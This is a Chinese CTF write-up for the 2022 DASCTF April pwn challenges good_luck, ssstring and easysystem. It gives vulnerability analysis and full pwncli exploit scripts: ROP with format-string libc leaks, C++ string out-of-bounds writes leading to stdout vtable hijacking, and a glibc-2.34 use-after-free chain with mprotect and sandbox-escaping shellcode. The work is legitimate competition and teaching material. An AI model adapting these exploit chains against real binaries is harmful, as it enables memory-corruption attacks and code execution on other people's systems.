其他分享
首页 > 其他分享> > 2022DASCTF-Apr-X-FATE-pwn-wp

2022DASCTF-Apr-X-FATE-pwn-wp

作者:互联网

目录

2022DASCTF-Apr-X-FATE-pwn-wp

时间太仓促了,题目逆向的工作量有点大,远程还有不少毛病......一言难尽。下来把剩下几道题都复现一遍,wp持续更新中。

小广告:解题脚本均使用我自己开发的工具pwncli编写,欢迎感兴趣的pwner师傅们试用~

1 good_luck

眼疾手快拿了个一血,这题其实很简单,但是远程的问题很大。附件都更新了两次,就很迷~

checksec

image-20220423183142291

没有给libc

漏洞点

要么栈溢出+格式化字符串,要么栈溢出:

image-20220423183249430

image-20220423183307699

image-20220423183323408

利用思路

由于这两种的概率是1/2,所以可以根据不同的输出来使用不同的payload。当然,可以编写一个通用的payload同时适用这两种情况。

观察到fmt函数的缓冲区距离rbp0x70overflow函数的缓冲区距离rbp0x50,所以前面的通用的payload可以为:

layoud = {
	0x58: [ret_addr] * 4 
    0x78: "deadbeef"
}

因此,思路为:

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']

ru("good luck\n")
m = rl()
data = flat([
    "a" * 0x58,
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt 
])

sl(data)

ru("fmt\n")
data = flat({
    0: "%7$s",
    8: elf.got.puts,
    0x58: [
    p64(CurrentGadgets.ret()) * 5,
    elf.sym.fmt
    ]
})
sl(data)

puts_addr = recv_current_libc_addr(offset=0)
log_address("puts addr: ", puts_addr)
lb = LibcBox()
lb.add_symbol('puts', puts_addr)
lb.search(download_so=1) # download --> libc6_2.23-0ubuntu11.2_amd64.so

libc_base = puts_addr -  lb.dump('puts')
system_adddr = libc_base + lb.dump('system')
bin_sh = libc_base + lb.dump('str_bin_sh')

set_current_libc_base_and_log(libc_base, 0)

ru("fmt\n")
data = flat({
    0x78: [
        0x4527a + libc_base, # one_gadget
        [0] * 0x20
    ]
})
sl(data)

ia()

最后测出来远程:libc6_2.23-0ubuntu11.2_amd64

远程:

image-20220423184352119

2 ssstring

不得不说,这次比赛的远程真的很很很很迷,本地环境应该和远程是一样的,但是总是打一半就卡死崩掉了。

这题考查的是C++string对象,也不算很难的题。C++ string对象的布局伪代码:

struct string {
char *data;
int capacity;
int refcount;
char pad[0x10];
};

初始状态下,data指针指向pad处。如果输入的字符串长度大于0x10string对象的操作流程可以简单总结为:

checksec

image-20220423222606174

远程libc版本为:2.31-0ubuntu9.2_amd64

漏洞点

程序不复杂,漏洞也很明显,在change idx的时候:

image-20220423222715414

输入的idx可以为负数,也就可以溢出修改capacity域以及data指针,虽然每次只能修改1个字节。

利用思路

根据漏洞点整理利用思路如下:

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from socket import timeout
from pwncli import *

cli_script()

context.update(timeout=5)

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def input_str(data):
    sla(">> ", "1")
    sla("string? \n", data)

def change(idx, c):
    sla(">> ", "2")
    sla("char idx? \n", str(idx))
    sa("char? \n", c)

def show():
    sla(">> ", "3")

input_str("deadbeef")
change(-7, '\x01')
show()
m = ru("1. Cin")
libc_base = u64(m[0x40:0x40+8]) - libc.sym.__libc_start_main - 243
set_current_libc_base_and_log(libc_base, 0)

free_hook_addr = libc.sym.__free_hook
system_addr = libc.sym.system
file_jump_addr = libc_base + 0x1ed4a0
stdout_addr = libc.sym._IO_2_1_stdout_
IO_str_finish = libc_base + 0x96ed0

stack_addr = u64_ex(m[0x50:0x50+8])
string_ptr = stack_addr - 0x128
log_address("string_ptr", string_ptr)

input_str("/bin/sh;deadbee")
change(-5, '\x7f')
change(-12, p8_ex(libc_base >> 32))

string_ptr = (string_ptr & 0xffffffff) | ((libc_base >> 32) << 32)

# write IO_str_finish
target_addr = file_jump_addr
write_content = IO_str_finish
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write system
target_addr = free_hook_addr
write_content = system_addr
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(6):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write sh;
target_addr = stdout_addr + 132
write_content = u64_ex("sh;")
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(3):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write stdout
target_addr = stdout_addr
write_content = 0x80
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

# write vtable
target_addr = stdout_addr + 0xd8 # vtable
write_content = (file_jump_addr & 0xff) - 56
dis = target_addr  - string_ptr
log_ex(f"current distance: {dis}")
assert dis > -0x80000000 and dis < 0x7fffffff, "try again"

for i in range(1):
    change(dis + i, p8_ex(write_content))
    write_content >>= 8

ia()

布局成功后如下所示:

image-20220423225923925

此时修改stdout->vtable的低一个字节即可:

image-20220423230047709

远程打不动,弃疗了...

3 easysystem

这题需要耐心和时间去逆向以及利用。需要IDA文件的点这里,我已经逆完了,我使用的IDA版本为7.6。需要调试镜像的使用docker pull roderickchan/debug_pwn_env:21.10拉取即可,已经安装好了pwndbg/gef/pwncli,使用gdb-gefgdb-pwndbg命令切换插件。

checksec

image-20220425010422897

给的libc的版本很高,版本为glibc-2.34。移除了很多hook,基本上无法使用hook去控制程序执行流。

噢对,还加了沙箱:

image-20220425014642939

漏洞点

程序的逆向工作有点大,维护了好几个结构体,如下所示:

/*
   This file has been generated by IDA.
   It contains local type definitions from
   the type library 'easysystem'
*/

#define __int8 char
#define __int16 short
#define __int32 int
#define __int64 long long

struct User;
struct FILE;


/* 15 */
struct UserList
{
  struct User *user1;
  struct User *user2;
};

/* 16 */
struct User
{
  char name[20];
  int _1;
  struct FILE *files;
  struct User *next_user;
};

/* 17 */
struct FILE
{
  char filename[20];
  char r;
  char w;
  char x;
  uint32_t _1;
  uint32_t length;
  void *_2;
  struct FILE *next_file;
};

/* 18 */
struct OpendFile
{
  char filename[20];
  char r;
  char w;
  char x;
  char o_r;
  char o_w;
  char o_x;
  uint32_t length;
  char *data;
  struct OpendFile *next_open_file;
};

/* 19 */
struct OpenFiles
{
  struct OpendFile *open_files1;
  struct OpendFile *open_files2;
  uint32_t max;
  uint32_t count;
};

漏洞点在openfile函数,全局变量未清理的漏洞:

image-20220425014256039

由于在read_file/write_file等函数均会使用到open_file这个全局变量,当其不为null的时候,会继续read/write。而如果在此之前调用close_file函数,则该变量指向的保存文件数据的内存是已经释放掉的内存:

image-20220425014543466

基于该use after free的漏洞,可以劫持程序执行任意流程。

利用思路

基于漏洞整理的利用思路如下:

step 1:任意地址写

step 2:劫持程序执行流

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from mmap import mmap
from isort import file
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

username = "roderick"

def create_file(filename, len=0x18, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")

    sa(f"->{username}>>", "create\n")
    sa("Please file (file_name file_protect file_length) : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))
    s(str(len).rjust(4, "0"))


def delete_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "delete\n")
    sa("Please input the file's name you want to delete : ", filename)


def open_file(filename, r=1, w=1, x=1):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "open\n")
    sa("Please input the file name you want to open : ", filename)
    s(str(r).rjust(4, "0"))
    s(str(w).rjust(4, "0"))
    s(str(x).rjust(4, "0"))


def close_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "close\n")
    sa("Please input the file name you want to close : ", filename)


def read_file(filename, data):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "read\n")
    sa("Please input the file name you want to read : ", filename)
    sa(":", data)


def write_file(filename):
    if isinstance(filename, str):
        filename = filename.encode()
    filename = filename.ljust(0x14, b"\x00")
    sa(f"->{username}>>", "write\n")
    sa("Please input the file name you want to write : ", filename)


def bye():
    sa(f"->{username}>>", "exit\n")
    sa("Please choose user to login : \n", "baduser")


sa("Please input  user name : \n", username)
sa("Please choose user to login : \n", username)

create_file("hack1", 0x500)
open_file("hack1")
create_file("hack2", 0x500)
close_file("hack1")

# leak libc addr
write_file("hack1")
libc_base = u64_ex(rn(9)[1:]) - 0x219cc0
set_current_libc_base_and_log(libc_base, 0)

ptr_guard = libc_base - 0x2890 # local debug
if gift.remote:
    ptr_guard = libc_base + 0x2295f0 # buu

io_cookie_jump = libc_base + 0x215b80

delete_file("hack2")
delete_file("hack1")

create_file("hack1", 0x88)
open_file("hack1")
close_file("hack1")
write_file("hack1")
# leak heap addr
heap_base = u64_ex(rn(0x19)[-8:]) - 0x380
log_heap_base_addr(heap_base)

delete_file("hack1")

# clear free chunk
for i in range(5):
    create_file(f"hack{i}", 0x88)
    open_file(f"hack{i}")

for i in range(5):
    close_file(f"hack{i}")

create_file("hack5", 0x500)
open_file("hack5")

# 0x0000000000165fa0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# 0x0000000000059fa0: mov rsp, rdx; ret;
# 0x0000000000045f85: add rsp, 0x28; ret;
# 0x000000000002a6c5: pop rdi; ret;
# 0x000000000005f65a: pop rdx; ret;
# 0x000000000002c081: pop rsi; ret;
lower_addr = (heap_base&~0xfff) & 0xfffffff
payload = flat({
    0:[ # rdi
        libc_base + 0x0000000000045f85,
        heap_base + 0xab0,
    ],
    0x20: libc_base + 0x0000000000059fa0,
    0x30: [
        libc_base + 0x000000000002a6c5,
        heap_base,
        libc_base + 0x000000000002c081,
        0x8000,
        libc_base + 0x000000000005f65a,
        7,
        libc.sym.mprotect,
        heap_base + 0xab0 + 0x100
    ],
    0x100: asm(shellcraft.amd64.linux.mmap_rwx(0x10000, 7, lower_addr) +
            shellcraft.amd64.memcpy(lower_addr+0x800, heap_base + 0xab0 + 0x200, 0x50) + f"""
            mov rax, {lower_addr+0x800}
            mov rsp, rax
            push 0x23
            push {lower_addr+0x800+0x10}
            retfq
            """),
    0x200: b"\x90"*20 + ShellcodeMall.i386.cat_flag

})


read_file("hack5", flat({0x150: payload}))

create_file(f"hack6", 0x18) # gap
close_file("hack5")

create_file(f"hack7", 0x18) # fake file

# fake file 
read_file("hack5", data = flat({
    0:"hack7\x00",
    0x14:0x010101010101,
    0x1c:p32(0x280),
    0x28: heap_base + 0x10 # next_file
}))

# free tcache-control-struct
delete_file("\x00")

delete_file("hack6")
open_file("hack7")

read_file("hack7", flat_z({
    0:"\x01",
    0xe: "\x01",
    0x80: ptr_guard, # 0x20 chunk
    0xb8: libc.sym._IO_2_1_stdout_+0xd0 # 0x90 chunk
}))
create_file("hack8", 0x88)
open_file("hack8")
read_file("hack8", flat([
    0,
    io_cookie_jump + 0x40, # vtable
    heap_base + 0xab0,
    libc.sym._IO_2_1_stdout_,
    rol(libc_base + 0x0000000000165fa0, 0x11)
]))

create_file("hack9", 0x18)
open_file("hack9")
read_file("hack9", p64(0))

bye()

ia()

调试截图:

执行到puts

image-20220425020256188

准备劫持rsp

image-20220425020408980

栈迁移到堆上,修改其权限:

image-20220425020505028

切到32位:

image-20220425020603610

读取到flag

image-20220425020657318

远程打:

image-20220425013729729

4 try2findme

TODO

5 storage

TODO

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:addr,Apr,2022DASCTF,filename,write,libc,base,file,pwn
来源: https://www.cnblogs.com/LynneHuan/p/16188678.html